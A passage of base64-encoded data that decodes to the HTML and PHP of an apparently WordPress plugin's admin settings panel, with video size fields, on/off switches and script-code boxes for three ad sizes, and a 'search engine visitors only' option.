lYXI6IGJvdGgiPjwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJFbnRlciB5b3VyIHJlbGF0ZWQgdmlkZW8gdGV4dC4iIHN0eWxlPSJmb250LXNpemU6MTJweCI+Q3VzdG9tIFJlbGF0ZWQgVmlkZW8gVGV4dDwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8aW5wdXQgbmFtZT0idm1hZ2NfdmlkZW9fcmVsYXRlZF90ZXh0IiBpZD0idm1hZ2NfdmlkZW9fcmVsYXRlZF90ZXh0IiB0eXBlPSJ0ZXh0IiBzdHlsZT0iZm9udC1zaXplOjEycHgiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY192aWRlb19yZWxhdGVkX3RleHQnKSA9PSAiIil7ZWNobyAiUmVsYXRlZCBWaWRlbyBPZiBbdGl0bGVdIjt9IGVsc2Uge2VjaG8gZ2V0X29wdGlvbigndm1hZ2NfdmlkZW9fcmVsYXRlZF90ZXh0Jyk7fT8+IiA+DQoJCQkJCQkJCTwvZGl2Pg0KDQoJCQkJCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoIj48L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iU2V0IHRoZSB2aWRlbyB3aWR0aCAmIGhlaWdodCBvZiB0aGUgc2luZ2xlIHBvc3QuIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlZpZGVvIFNpemU8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0yIGNvbHVtbnMiIHN0eWxlPSJmbG9hdDpsZWZ0OyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1sZWZ0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iU2V0IHRoZSB2aWRlbyB3aWR0aCBvZiB0aGUgc2luZ2xlIHBvc3QuIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPg0KCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJudW1iZXIiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY195b3V0dWJlX3ZpZGVvX3dpZHRoJykgPT0gIiIpe2VjaG8gIjUwMCI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX3lvdXR1YmVfdmlkZW9fd2lkdGgnKTt9Pz4iIG5hbWU9InZtYWdjX3lvdXR1YmVfdmlkZW9fd2lkdGgiIGlkPSJ2bWFnY195b3V0dWJlX3ZpZGVvX3dpZHRoIiBzdHlsZT0iZm9udC1zaXplOjEycHgiIG1pbj0iMSI+DQoJCQkJCQkJCQk8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQkJPHNwYW4gc3R5bGU9ImZsb2F0OmxlZnQ7bWFyZ2luLXRvcDo1cHg7Ij4geCA8L3NwYW4+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTIgY29sdW1ucyIgc3R5bGU9ImZsb2F0OmxlZnQ7bWFyZ2luLXJpZ2h0OjY1cHg7Ij4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LWxlZnQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJTZXQgdGhlIHZpZGVvIGhlaWdodCBvZiB0aGUgc2luZ2xlIHBvc3QuIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPg0KCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJudW1iZXIiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY195b3V0dWJlX3ZpZGVvX2hlaWdodCcpID09ICIiKXtlY2hvICI1MDAiO30gZWxzZSB7ZWNobyBnZXRfb3B0aW9uKCd2bWFnY195b3V0dWJlX3ZpZGVvX2hlaWdodCcpO30/PiIgbmFtZT0idm1hZ2NfeW91dHViZV92aWRlb19oZWlnaHQiIGlkPSJ2bWFnY195b3V0dWJlX3ZpZGVvX2hlaWdodCIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiBtaW49IjEiPg0KCQkJCQkJCQkJPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvZGl2Pg0KDQoJCQkJCQk8ZGl2IGNsYXNzPSJ0YWJzLXBhbmVsIiBpZD0icGFuZWwzIj4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJyb3ciPg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJEbyB5b3Ugd2FudCB0byBzaG93IHlvdXIgMTYweDYwMCBBZHM/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlNob3cgQWRzIDE2MHg2MDA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfYWRzZW5zZV8xNjAnKSA9PSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkgICAgJHZhbHVlcyA9ICIiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2VpZihnZXRfb3B0aW9uKCd2bWFnY19zaG93X2Fkc2Vuc2VfMTYwJykgIT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkgICAgCSR2YWx1ZXMgPSAidmFsdWU9J3RydWUnIGNoZWNrZWQiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJPz4NCgkJCQkJCQkJCQk8aW5wdXQgY2xhc3M9InN3aXRjaC1pbnB1dCIgaWQ9InZtYWdjX3Nob3dfYWRzZW5zZV8xNjAiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X2Fkc2Vuc2VfMTYwIiA8P3BocCBlY2hvICR2YWx1ZXM7ID8+Pg0KCQkJCQkJCQkJCTxsYWJlbCBjbGFzcz0ic3dpdGNoLXBhZGRsZSIgZm9yPSJ2bWFnY19zaG93X2Fkc2Vuc2VfMTYwIj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InNob3ctZm9yLXNyIj5EbyB5b3Ugd2FudCB0byBzaG93IHlvdXIgMTYweDYwMCBBZHNlbnNlID88L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJQdXQgeW91ciBBZHMgMTYweDYwMCBzY3JpcHQgY29kZS4gIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkFkcyBDb2RlIDE2MHg2MDA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRzXzE2MCA9IGdldF9vcHRpb24oJ3ZtYWdjX2Fkc2Vuc2VfY29kZV8xNjAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRzX3JlbW92ZV9zbGFzaCA9IHN0cmlwc2xhc2hlcygkYWRzXzE2MCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkc18xNjBfcmVtb3ZlID0gc3RyX3JlcGxhY2UoYXJyYXkoJ1xcJyksICcnLCAkYWRzX3JlbW92ZV9zbGFzaCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoJCQkJCQkJCQk8dGV4dGFyZWEgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiBuYW1lPSJ2bWFnY19hZHNlbnNlX2NvZGVfMTYwIiBpZD0idm1hZ2NfYWRzZW5zZV9jb2RlXzE2MCIgcm93cz0iNSI+PD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfYWRzZW5zZV9jb2RlXzE2MCcpID09ICIiKXtlY2hvICIiO30gZWxzZSB7ZWNobyAkYWRzXzE2MF9yZW1vdmU7fT8+PC90ZXh0YXJlYT4NCgkJCQkJCQkJCTxwIHN0eWxlPSJmb250LXNpemU6MTBweDttYXJnaW4tdG9wOi0xNXB4Ij5EbyBzaG9ydGNvZGU6IDxjb2RlPiZsdDs/cGhwIGRvX3Nob3J0Y29kZSgnW3ZtYWdjX2Fkc2Vuc2Ugc2l6ZT0iMTYwIl0nKTsgPyZndDs8L2NvZGU+PC9wPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJEbyB5b3Ugd2FudCB0byBzaG93IHlvdXIgMTYweDYwMCBBZHMgdG8gdmlzaXRvcnMgZnJvbSBzZWFyY2ggZW5naW5lIG9ubHk/ICIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Pbmx5IFZpc2l0b3JzIEZyb20gU2VhcmNoIEVuZ2luZSA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfbGltaXRfMTYwJykgPT0gRkFMU0UpDQoJCQkJCQkJCQkJCXsNCgkJCQkJCQkJCQkJICAgICR2YWx1ZXMgPSAiIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQllbHNlaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19saW1pdF8xNjAnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd19saW1pdF8xNjAiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X2xpbWl0XzE2MCIgPD9waHAgZWNobyAkdmFsdWVzOyA/Pj4NCgkJCQkJCQkJCQk8bGFiZWwgY2xhc3M9InN3aXRjaC1wYWRkbGUiIGZvcj0idm1hZ2Nfc2hvd19saW1pdF8xNjAiPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPk9ubHkgVmlzaXRvcnMgRnJvbSBTZWFyY2ggRW5naW5lPC9zcGFuPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic3dpdGNoLWFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPlllczwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN3aXRjaC1pbmFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPk5vPC9zcGFuPg0KCQkJCQkJCQkJCTwvbGFiZWw+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoOyI+PC9kaXY+DQoJCQkJCQkJCTxociAvPg0KDQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkRvIHlvdSB3YW50IHRvIHNob3cgeW91ciAzMDB4MjUwIEFkcz8iIHN0eWxlPSJmb250LXNpemU6MTJweCI+U2hvdyBBZHMgMzAweDI1MDwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzd2l0Y2ggdGlueSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCgkJCQkJCQkJCQkgICAgaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19hZHNlbnNlXzMwMCcpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfYWRzZW5zZV8zMDAnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd19hZHNlbnNlXzMwMCIgdHlwZT0iY2hlY2tib3giIG5hbWU9InZtYWdjX3Nob3dfYWRzZW5zZV8zMDAiIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX3Nob3dfYWRzZW5zZV8zMDAiPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPk9ubHkgVmlzaXRvcnMgRnJvbSBTZWFyY2ggRW5naW5lPC9zcGFuPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic3dpdGNoLWFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPlllczwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN3aXRjaC1pbmFjdGl2ZSIgYXJpYS1oaWRkZW49InRydWUiPk5vPC9zcGFuPg0KCQkJCQkJCQkJCTwvbGFiZWw+DQoJCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iUHV0IHlvdXIgQWRzIDMwMHgyNTAgc2NyaXB0IGNvZGUuIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkFkcyBDb2RlIDMwMHgyNTA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRzXzMwMCA9IGdldF9vcHRpb24oJ3ZtYWdjX2Fkc2Vuc2VfY29kZV8zMDAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRzX3JlbW92ZV9zbGFzaCA9IHN0cmlwc2xhc2hlcygkYWRzXzMwMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkc18zMDBfcmVtb3ZlID0gc3RyX3JlcGxhY2UoYXJyYXkoJ1xcJyksICcnLCAkYWRzX3JlbW92ZV9zbGFzaCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQoJCQkJCQkJCQk8dGV4dGFyZWEgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiBuYW1lPSJ2bWFnY19hZHNlbnNlX2NvZGVfMzAwIiBpZD0idm1hZ2NfYWRzZW5zZV9jb2RlXzMwMCIgcm93cz0iNSI+PD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfYWRzZW5zZV9jb2RlXzMwMCcpID09ICIiKXtlY2hvICIiO30gZWxzZSB7ZWNobyAkYWRzXzMwMF9yZW1vdmU7fT8+PC90ZXh0YXJlYT4NCgkJCQkJCQkJCTxwIHN0eWxlPSJmb250LXNpemU6MTBweDttYXJnaW4tdG9wOi0xNXB4Ij5EbyBzaG9ydGNvZGU6IDxjb2RlPiZsdDs/cGhwIGRvX3Nob3J0Y29kZSgnW3ZtYWdjX2Fkc2Vuc2Ugc2l6ZT0iMzAwIl0nKTsgPyZndDs8L2NvZGU+PC9wPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJEbyB5b3Ugd2FudCB0byBzaG93IHlvdXIgMzAweDI1MCBBZHMgdG8gdmlzaXRvcnMgZnJvbSBzZWFyY2ggZW5naW5lIG9ubHk/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPk9ubHkgVmlzaXRvcnMgRnJvbSBTZWFyY2ggRW5naW5lIDwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzd2l0Y2ggdGlueSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCgkJCQkJCQkJCQkgICAgaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19saW1pdF8zMDAnKSA9PSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCQkgICAgJHZhbHVlcyA9ICIiOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2VpZihnZXRfb3B0aW9uKCd2bWFnY19zaG93X2xpbWl0XzMwMCcpICE9IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJICAgIAkkdmFsdWVzID0gInZhbHVlPSd0cnVlJyBjaGVja2VkIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCT8+DQoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJzd2l0Y2gtaW5wdXQiIGlkPSJ2bWFnY19zaG93X2xpbWl0XzMwMCIgdHlwZT0iY2hlY2tib3giIG5hbWU9InZtYWdjX3Nob3dfbGltaXRfMzAwIiA8P3BocCBlY2hvICR2YWx1ZXM7ID8+Pg0KCQkJCQkJCQkJCTxsYWJlbCBjbGFzcz0ic3dpdGNoLXBhZGRsZSIgZm9yPSJ2bWFnY19zaG93X2xpbWl0XzMwMCI+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzaG93LWZvci1zciI+T25seSBWaXNpdG9ycyBGcm9tIFNlYXJjaCBFbmdpbmU8L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGg7Ij48L2Rpdj4NCgkJCQkJCQkJPGhyIC8+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRG8geW91IHdhbnQgdG8gc2hvdyB5b3VyIDcyOHg5MCBBZHM/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlNob3cgQWRzIDcyOHg5MDwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzd2l0Y2ggdGlueSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCgkJCQkJCQkJCQkgICAgaWYoZ2V0X29wdGlvbigndm1hZ2Nfc2hvd19hZHNlbnNlXzcyOCcpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfYWRzZW5zZV83MjgnKSAhPSBGQUxTRSkNCgkJCQkJCQkJCQkJew0KCQkJCQkJCQkJCSAgICAJJHZhbHVlcyA9ICJ2YWx1ZT0ndHJ1ZScgY2hlY2tlZCI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQk/Pg0KCQkJCQkJCQkJCTxpbnB1dCBjbGFzcz0ic3dpdGNoLWlucHV0IiBpZD0idm1hZ2Nfc2hvd19hZHNlbnNlXzcyOCIgdHlwZT0iY2hlY2tib3giIG5hbWU9InZtYWdjX3Nob3dfYWRzZW5zZV83MjgiIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX3Nob3dfYWRzZW5zZV83MjgiPg0KCQkJCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2hvdy1mb3Itc3IiPlNob3cgQWRTZW5zZSA3Mjh4OTA8L3NwYW4+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzd2l0Y2gtYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+WWVzPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3dpdGNoLWluYWN0aXZlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+Tm88L3NwYW4+DQoJCQkJCQkJCQkJPC9sYWJlbD4NCgkJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJQdXQgeW91ciBBZHMgNzI4eDkwIHNjcmlwdCBjb2RlLiAiIHN0eWxlPSJmb250LXNpemU6MTJweCI+QWRzIENvZGUgNzI4eDkwPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkc183MjggPSBnZXRfb3B0aW9uKCd2bWFnY19hZHNlbnNlX2NvZGVfNzI4Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkc19yZW1vdmVfc2xhc2ggPSBzdHJpcHNsYXNoZXMoJGFkc183MjgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZHNfNzI4X3JlbW92ZSA9IHN0cl9yZXBsYWNlKGFycmF5KCdcXCcpLCAnJywgJGFkc19yZW1vdmVfc2xhc2gpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KCQkJCQkJCQkJPHRleHRhcmVhIHN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2NfYWRzZW5zZV9jb2RlXzcyOCIgaWQ9InZtYWdjX2Fkc2Vuc2VfY29kZV83MjgiIHJvd3M9IjUiPjw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX2Fkc2Vuc2VfY29kZV83MjgnKSA9PSAiIil7ZWNobyAiIjt9IGVsc2Uge2VjaG8gJGFkc183MjhfcmVtb3ZlO30/PjwvdGV4dGFyZWE+DQoJCQkJCQkJCQk8cCBzdHlsZT0iZm9udC1zaXplOjEwcHg7bWFyZ2luLXRvcDotMTVweCI+RG8gc2hvcnRjb2RlOiA8Y29kZT4mbHQ7P3BocCBkb19zaG9ydGNvZGUoJ1t2bWFnY19hZHNlbnNlIHNpemU9IjcyOCJdJyk7ID8mZ3Q7PC9jb2RlPjwvcD4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRG8geW91IHdhbnQgdG8gc2hvdyB5b3VyIDMwMHgyNTAgQWRzIHRvIHZpc2l0b3JzIGZyb20gc2VhcmNoIGVuZ2luZSBvbmx5PyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Pbmx5IFZpc2l0b3JzIEZyb20gU2VhcmNoIEVuZ2luZSA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPG